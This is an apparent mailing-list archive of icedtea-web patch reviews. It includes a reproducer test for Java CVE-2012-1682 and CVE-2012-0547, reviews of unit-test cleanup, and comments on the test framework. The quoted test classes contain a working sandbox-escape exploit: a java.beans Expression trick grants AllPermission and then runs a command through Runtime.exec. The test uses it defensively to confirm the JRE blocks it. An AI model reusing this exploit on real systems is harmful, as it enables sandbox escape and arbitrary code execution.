more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +import java.beans.Statement; >> +import java.beans.Expression; >> + >> +import java.lang.reflect.Field; >> +import java.net.URL; >> +import java.security.*; >> +import java.security.cert.Certificate; >> +import java.io.InputStreamReader; >> +import java.io.BufferedReader; >> + >> +/** >> + * >> + * Summary for @ >> + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682 >> + * and >> + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547 >> + */ >> +public class GondvvTestcase4 { >> + >> + public static int runproc(Process proc) throws Exception { >> + BufferedReader cmdout = new BufferedReader(new InputStreamReader(proc.getInputStream())); >> + String line; >> + while ((line = cmdout.readLine()) != null) { >> + System.out.println(line); >> + } >> + proc.waitFor(); >> + return proc.exitValue(); >> + } >> + >> + public static void runcommand_exploit(String cmd) throws Exception { >> + Expression exec_ex = new Expression(Runtime.getRuntime(), "exec", new String[]{cmd}); >> + >> + Permissions perms = new Permissions(); >> + perms.add(new AllPermission()); >> + ProtectionDomain protdomain = new ProtectionDomain( >> + new CodeSource(new URL("file:///"), new Certificate[0]), perms); >> + AccessControlContext acc = new AccessControlContext(new ProtectionDomain[]{protdomain}); >> + >> + Expression tmp_ex = new Expression(Class.class, "forName", new >> Object[]{"sun.awt.SunToolkit"}); >> + tmp_ex.execute(); >> + Class toolkit = (Class) tmp_ex.getValue(); >> + >> + tmp_ex = new Expression(toolkit, "getField", new Object[]{Statement.class, "acc"}); >> + tmp_ex.execute(); >> + ((Field) tmp_ex.getValue()).set(exec_ex, acc); >> + exec_ex.execute(); >> + >> + runproc((Process) exec_ex.getValue()); >> + } >> + >> + public static void runcommand_direct(String cmd) throws Exception { >> + runproc(Runtime.getRuntime().exec(cmd)); >> + } >> + >> + public static void main(String[] args) { >> + System.out.println("Running GondvvTest"); >> + args = new String[]{"/bin/date"}; >> + try { >> + System.out.println("Directly calling: Class.forName(\"sun.awt.SunToolkit\")"); >> + >> + Object cl = Class.forName("sun.awt.SunToolkit"); >> + System.out.println("FAIL: " + cl.toString()); >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } > > Can you move the FAIL/OK checks into the testcase class possibly ? I guess its OK as it is, but if > you can make the testcase do more checking and not just checking for FAIL it would be good. > >> + System.out.println(); >> + >> + >> + try { >> + System.out.println("Calling: Expression(Class.class, \"forName\", new >> String[]{\"sun.awt.SunToolkit\"})"); >> + >> + Expression ex = new Expression(Class.class, "forName", new >> String[]{"sun.awt.SunToolkit"}); >> + ex.execute(); >> + Object cl = ex.getValue(); >> + System.out.println("FAIL: " + cl.toString()); >> + System.out.println(); >> + System.out.println("Checking if SunToolkit class reference is usable"); >> + try { >> + ex = new Expression(cl, "getField", new Object[]{Byte.class, "SIZE"}); >> + ex.execute(); >> + System.out.println("FAIL: " + ex.getValue().toString()); >> + } catch (NoSuchMethodException e) { >> + System.out.println("INFO: " + e.toString()); >> + e.printStackTrace(); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + >> + try { >> + ex = new Expression(cl, "getField", new Object[]{Statement.class, "acc"}); >> + ex.execute(); >> + System.out.println("FAIL: " + ex.getValue().toString()); >> + } catch (NoSuchMethodException e) { >> + System.out.println("INFO: " + e.toString()); >> + e.printStackTrace(); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + System.out.println(); >> + >> + if (args.length == 0) { >> + } > > ?? > >> + >> + try { >> + System.out.println("Running command directly: " + args[0]); >> + runcommand_direct(args[0]); >> + System.out.println("FAIL: commnad was run"); >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + System.out.println(); >> + >> + try { >> + System.out.println("Running command using exploit: " + args[0]); >> + runcommand_exploit(args[0]); >> + System.out.println("FAIL: commnad was run"); >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (NoSuchMethodException e) { >> + System.out.println("FAIL: " + e.toString()); >> + e.printStackTrace(); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + System.out.println(); > > Looks OK but again > >> + >> + >> + } >> +} >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java >> Mon Sep 03 16:04:41 2012 +0200 >> @@ -0,0 +1,82 @@ >> +/* BeansStatementExploitTests.java >> +Copyright (C) 2011 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +import net.sourceforge.jnlp.ProcessResult; >> +import net.sourceforge.jnlp.annotations.Bug; >> +import net.sourceforge.jnlp.browsertesting.BrowserTest; >> +import net.sourceforge.jnlp.browsertesting.Browsers; >> +import net.sourceforge.jnlp.annotations.NeedsDisplay; >> +import net.sourceforge.jnlp.annotations.TestInBrowsers; >> +import org.junit.Assert; >> + >> +import org.junit.Test; >> + >> +public class BeansStatementExploitTests extends BrowserTest { >> + >> + @Test >> + @NeedsDisplay >> + @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", >> "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) >> + public void BeansStatementExploitTestWS() throws Exception { >> + ProcessResult pr = server.executeJavawsHeadless(null, "/BeansStatementExploitWS.jnlp"); >> + evaluate(pr); >> + } >> + >> + @Test >> + @NeedsDisplay >> + @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", >> "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) >> + public void BeansStatementExploitTesWsApplet() throws Exception { >> + ProcessResult pr = server.executeJavawsHeadless(null, "/BeansStatementExploitApplet.jnlp"); >> + evaluate(pr); >> + } >> + >> + @Test >> + @TestInBrowsers(testIn = {Browsers.all}) >> + @NeedsDisplay >> + @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", >> "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) >> + public void BeansStatementExploitTestApplet() throws Exception { >> + ProcessResult pr = server.executeBrowser("/BeansStatementExploit.html"); >> + evaluate(pr); >> + Assert.assertTrue(pr.wasTerminated); >> + } >> + >> + private void evaluate(ProcessResult pr) { >> + Assert.assertTrue("Output of reproducerwas empty => it was not run", (pr.stdout.length() >> > 0)); >> + Assert.assertTrue("Output of reproducerwas have not contained 'Running GondvvTest' => it >> was not run", (pr.stdout.contains("Running GondvvTest"))); >> + Assert.assertFalse("Output of reproducer contained FAIL, that means that exploit have >> hacked your system", (pr.stdout.contains("FAIL:"))); >> + >> + } >> +} > > Looks OK, although this seems like something that is better placed in a JRE's test suite, not ITWs. > I have no problems with it going in the repo, though. > > Happy hacking, > -Adam Thank you for review All except FAIL/OK fixed. And for those stdouts I would rather stay with it. I have added also listeners to speed up closing.... J. -------------- next part -------------- A non-text attachment was scrubbed... Name: openjdk-exploit3-reproducer3.diff Type: text/x-patch Size: 22176 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/f4c26741/openjdk-exploit3-reproducer3.diff From jvanek at redhat.com Mon Dec 17 08:42:20 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 17:42:20 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework In-Reply-To: <50C9A7F0.3000201@redhat.com> References: <50C9A7F0.3000201@redhat.com> Message-ID: <50CF4B6C.2040806@redhat.com> On 12/13/2012 11:03 AM, Jana Fabrikova wrote: > 2012-12-13 Jana Fabrikova > > * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: > Added several new versions of method executeBrowser with lists > of ContentReaderListeners as arguments. > > * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: > Added new versions of the constructor and methods for adding > ContentReaderListeners using List > instead of one ContentReaderListener. > Added a new version of constructor with less arguments (used > in case when several arguments would be passed as null, thus > causing ambiguity). > > * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: > Modified the call of executeBrowser method with null arguments > into a call of new method without the null arguments > (getting rid of an ambiguous call). > > > I would like to ask for review of the attached patch, > thank you, > Jana It looks much bettter. You forgot to fix the changelog (parentheses around affected and new methods. Listed with some luck all of them) Still nasty comment: //current browser may be // null, but it does not // matter Should be on one line. Although there are still some duplications I'm ok with them and after above changes ok for head. J. From adomurad at redhat.com Mon Dec 17 08:59:13 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 11:59:13 -0500 Subject: [rfc] icedtea-web minor fix for two unittests In-Reply-To: <50CF36E6.3060606@redhat.com> References: <50CF36E6.3060606@redhat.com> Message-ID: <50CF4F61.3090004@redhat.com> On 12/17/2012 10:14 AM, Jiri Vanek wrote: > This tests were wrongly adapted for lates ITW. And so they were > incorrectly failing. This should fix them. > > J. Thanks for looking into it! > > diff -r 1fe2a4f7981f tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java > --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 11 20:32:26 2012 +0100 > +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Mon Dec 17 16:09:22 2012 +0100 > @@ -68,6 +68,24 @@ > throw new RuntimeException(ex); > } > } > + > + private class DummyJNLPFile extends JNLPFile{ > + > + @Override > + public ResourcesDesc getResources() { > + return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > + } > + > + @Override > + public URL getCodeBase() { > + return CODEBASE_URL; > + } > + > + @Override > + public SecurityDesc getSecurity() { > + return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > + } > + }; +1 > private static final String isWSA = "isWebstartApplication"; > > static void setStaticField(Field field, Object newValue) throws Exception { > @@ -97,47 +115,73 @@ > public void testResourceLoadSuccessCachingApplication() throws Exception { > setWSA(); > //we are testing new resource not in cache > - testResourceLoadSuccessCaching("Main.class"); > + testResourceLoadSuccessCaching2("Main.class"); Just a nitpick, testResourceLoadSuccessCachingApplication calls testResourceLoadSuccessCaching2 but testResourceLoadSuccessCachingApplication2 calls testResourceLoadSuccessCaching1, the mismatch is a little confusing > } > > @Test > public void testResourceLoadSuccessCachingApplet() throws Exception { > setApplet(); > //so new resource again not in cache > - testResourceLoadSuccessCaching("HTMLPanel.java"); > + testResourceLoadSuccessCaching2("Main.class"); > + } > + > + @Test > + public void testResourceLoadSuccessCachingApplication2() throws Exception { > + setWSA(); > + //we are testing new resource not in cache > + testResourceLoadSuccessCaching1("HTMLPanel.java"); > } > > - public void testResourceLoadSuccessCaching(String r) throws Exception { > - JNLPFile dummyJnlpFile = new JNLPFile() { > + @Test > + public void testResourceLoadSuccessCachingApplet2() throws Exception { > + setApplet(); > + //so new resource again not in cache > + testResourceLoadSuccessCaching1("HTMLPanel.java"); > + } > > - @Override > - public ResourcesDesc getResources() { > - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > - } > + public void testResourceLoadSuccessCaching1(String r) throws Exception { > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > > - @Override > - public URL getCodeBase() { > - return CODEBASE_URL; > - } > - > - @Override > - public SecurityDesc getSecurity() { > - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > - } > - }; > JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); > CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); > > long startTime, stopTime; > > startTime = System.nanoTime(); > - classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + URL u1 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + Assert.assertNull(u1); > stopTime = System.nanoTime(); > long timeOnFirstTry = stopTime - startTime; > ServerAccess.logErrorReprint("" + timeOnFirstTry); > > startTime = System.nanoTime(); > - classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + URL u2 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + Assert.assertNull(u2); > + stopTime = System.nanoTime(); > + long timeOnSecondTry = stopTime - startTime; > + ServerAccess.logErrorReprint("" + timeOnSecondTry); > + > + assertTrue(timeOnSecondTry < (timeOnFirstTry / 10)); > + } > + > + public void testResourceLoadSuccessCaching2(String r) throws Exception { I dislike numerically distinguished names strongly :-) I had to do a diff to be sure of the difference here. It seems there should just be one function (equivalent to testResourceLoadSuccessCaching2), and the "net/sourceforge/jnlp/about/" be added to the parameter upon usage. > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > + > + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); > + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); > + > + long startTime, stopTime; > + > + startTime = System.nanoTime(); > + URL u1 = classLoader.findResource(r); > + Assert.assertNull(u1); > + stopTime = System.nanoTime(); > + long timeOnFirstTry = stopTime - startTime; > + ServerAccess.logErrorReprint("" + timeOnFirstTry); > + > + startTime = System.nanoTime(); > + URL u2 = classLoader.findResource(r); > + Assert.assertNull(u2); > stopTime = System.nanoTime(); > long timeOnSecondTry = stopTime - startTime; > ServerAccess.logErrorReprint("" + timeOnSecondTry); > @@ -161,23 +205,7 @@ > } > > public void testResourceLoadFailureCaching() throws Exception { > - JNLPFile dummyJnlpFile = new JNLPFile() { > - > - @Override > - public ResourcesDesc getResources() { > - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > - } > - > - @Override > - public URL getCodeBase() { > - return CODEBASE_URL; > - } > - > - @Override > - public SecurityDesc getSecurity() { > - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > - } > - }; > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > > JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); > CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); > @@ -212,24 +240,8 @@ > } > > public void testParentClassLoaderIsAskedForClasses() throws Exception { > - JNLPFile dummyJnlpFile = new JNLPFile() { > - > - @Override > - public ResourcesDesc getResources() { > - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > - } > - > - @Override > - public URL getCodeBase() { > - return CODEBASE_URL; > - } > - > - @Override > - public SecurityDesc getSecurity() { > - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > - } > - }; > - > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > + > final boolean[] parentWasInvoked = new boolean[1]; > > JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null) { Please also rid of the duplicated dummy in testNullFileSecurityDesc. -Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/9f5c62df/attachment.html From omajid at redhat.com Mon Dec 17 09:01:01 2012 From: omajid at redhat.com (Omair Majid) Date: Mon, 17 Dec 2012 12:01:01 -0500 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CB9307.5030801@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> Message-ID: <50CF4FCD.30103@redhat.com> On 12/14/2012 03:58 PM, Adam Domurad wrote: > On 12/13/2012 11:35 AM, Jiri Vanek wrote: > Looks OK, although this seems like something that is better placed in a > JRE's test suite, not ITWs. Agreed. While it is nice to have another test to check a security property, I am not sure how sensible it is to add this test to icedtea-web. The test is, after all, testing that the JRE enforces a security check when a certain operation is performed. We do have a number of tests that check that the code in icedtea-web is running in a sandbox, but nothing that is as specific as this. I would like to know what's the motivation for adding this specific test to icedtea-web. Thanks, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From adomurad at redhat.com Mon Dec 17 09:10:19 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 12:10:19 -0500 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CF468A.5010606@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> <50CF468A.5010606@redhat.com> Message-ID: <50CF51FB.8040503@redhat.com> > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandbox.html > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandbox.html > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,42 @@ > + > + > +

archive="BeansStatementBreakSandbox.jar" codebase="." width="100" > height="20"> > +

> + > + > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxApplet.jnlp > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxApplet.jnlp > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,61 @@ > + > + > + codebase="."> > + > + BeansStatementBreakSandboxApplet > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementBreakSandboxApplet > + > + > + > + > + > + > + + documentBase="." > + name="BeansStatementBreakSandboxApplet" > + main-class="BeansStatementBreakSandbox1" > + width="100" > + height="100"> > + > + > + > + > + > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxWS.jnlp > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxWS.jnlp > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,56 @@ > + > + > + > + > + BeansStatementBreakSandboxWS > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementBreakSandboxWS > + > + > + > + > + > + > + > + > + > + > + > + > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox1.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox1.java > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,49 @@ > +/* BeansStatementBreakSandbox1.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.applet.Applet; > + > + > +public class BeansStatementBreakSandbox1 extends Applet { Argh, you love numbers :-) It's OK in this case since its easy to see what this does at a glance, but I prefer adding an extra word to the name when you need to make a distinction, eg 'Runner' or 'Delegate' here. > + > + @Override > + public void init() { > + BeansStatementBreakSandbox2.main(new String[0]); > + > + } > + > +} > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox2.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox2.java > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,182 @@ > +/* BeansStatementBreakSandbox2.java > + Copyright (C) 2011 Red Hat, Inc. > + > + This file is part of IcedTea. > + > + IcedTea is free software; you can redistribute it and/or > + modify it under the terms of the GNU General Public License as > published by > + the Free Software Foundation, version 2. > + > + IcedTea is distributed in the hope that it will be useful, > + but WITHOUT ANY WARRANTY; without even the implied warranty of > + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > + General Public License for more details. > + > + You should have received a copy of the GNU General Public License > + along with IcedTea; see the file COPYING. If not, write to > + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > + 02110-1301 USA. > + > + Linking this library statically or dynamically with other modules is > + making a combined work based on this library. Thus, the terms and > + conditions of the GNU General Public License cover the whole > + combination. > + > + As a special exception, the copyright holders of this library give you > + permission to link this library with independent modules to produce an > + executable, regardless of the license terms of these independent > + modules, and to copy and distribute the resulting executable under > + terms of your choice, provided that you also meet, for each linked > + independent module, the terms and conditions of the license of that > + module. An independent module is a module which is not derived from > + or based on this library. If you modify this library, you may extend > + this exception to your version of the library, but you are not > + obligated to do so. If you do not wish to do so, delete this > + exception statement from your version. > + */ > + > +import java.beans.Statement; > +import java.beans.Expression; > + > +import java.lang.reflect.Field; > +import java.net.URL; > +import java.security.*; > +import java.security.cert.Certificate; > +import java.io.InputStreamReader; > +import java.io.BufferedReader; > + > +/** > + * > + * Summary for Was there supposed to be something more here ? Or is it something like 'See:' ? > + * > + * @ > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682 and > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547 > + */ > +public class BeansStatementBreakSandbox2 { > + > + public static int runproc(Process proc) throws Exception { > + BufferedReader cmdout = new BufferedReader(new > InputStreamReader(proc.getInputStream())); > + String line; > + while ((line = cmdout.readLine()) != null) { > + System.out.println(line); > + } > + proc.waitFor(); > + return proc.exitValue(); > + } > + > + public static void runcommand_exploit(String cmd) throws Exception { > + Expression exec_ex = new Expression(Runtime.getRuntime(), > "exec", new String[]{cmd}); > + > + Permissions perms = new Permissions(); > + perms.add(new AllPermission()); > + ProtectionDomain protdomain = new ProtectionDomain( > + new CodeSource(new URL("file:///"), new > Certificate[0]), perms); > + AccessControlContext acc = new AccessControlContext(new > ProtectionDomain[]{protdomain}); > + > + Expression tmp_ex = new Expression(Class.class, "forName", > new Object[]{"sun.awt.SunToolkit"}); > + tmp_ex.execute(); > + Class toolkit = (Class) tmp_ex.getValue(); > + > + tmp_ex = new Expression(toolkit, "getField", new > Object[]{Statement.class, "acc"}); > + tmp_ex.execute(); > + ((Field) tmp_ex.getValue()).set(exec_ex, acc); > + exec_ex.execute(); > + > + runproc((Process) exec_ex.getValue()); > + } > + > + public static void runcommand_direct(String cmd) throws Exception { > + runproc(Runtime.getRuntime().exec(cmd)); > + } > + > + public static void main(String[] args) { > + try { > + System.out.println("Running GondvvTest"); > + args = new String[]{"/bin/date"}; > + try { > + System.out.println("Directly calling: > Class.forName(\"sun.awt.SunToolkit\")"); > + > + Object cl = Class.forName("sun.awt.SunToolkit"); > + System.out.println("FAIL: " + cl.toString()); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + > + try { > + System.out.println("Calling: Expression(Class.class, > \"forName\", new String[]{\"sun.awt.SunToolkit\"})"); > + > + Expression ex = new Expression(Class.class, > "forName", new String[]{"sun.awt.SunToolkit"}); > + ex.execute(); > + Object cl = ex.getValue(); > + System.out.println("FAIL: " + cl.toString()); > + System.out.println(); > + System.out.println("Checking if SunToolkit class > reference is usable"); > + try { > + ex = new Expression(cl, "getField", new > Object[]{Byte.class, "SIZE"}); > + ex.execute(); > + System.out.println("FAIL: " + > ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " > + e.toString()); > + e.printStackTrace(); > + } > + > + try { > + ex = new Expression(cl, "getField", new > Object[]{Statement.class, "acc"}); > + ex.execute(); > + System.out.println("FAIL: " + > ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " > + e.toString()); > + e.printStackTrace(); > + } > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + try { > + System.out.println("Running command directly: " + > args[0]); > + runcommand_direct(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + try { > + System.out.println("Running command using exploit: " > + args[0]); > + runcommand_exploit(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("FAIL: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + } finally { > + System.out.println("*** APPLET FINISHED ***"); > + } > + > + } > +} > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/testcases/BeansStatementBreakSandboxTests.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/testcases/BeansStatementBreakSandboxTests.java > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,83 @@ > +/* BeansStatementBreakSandboxTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > 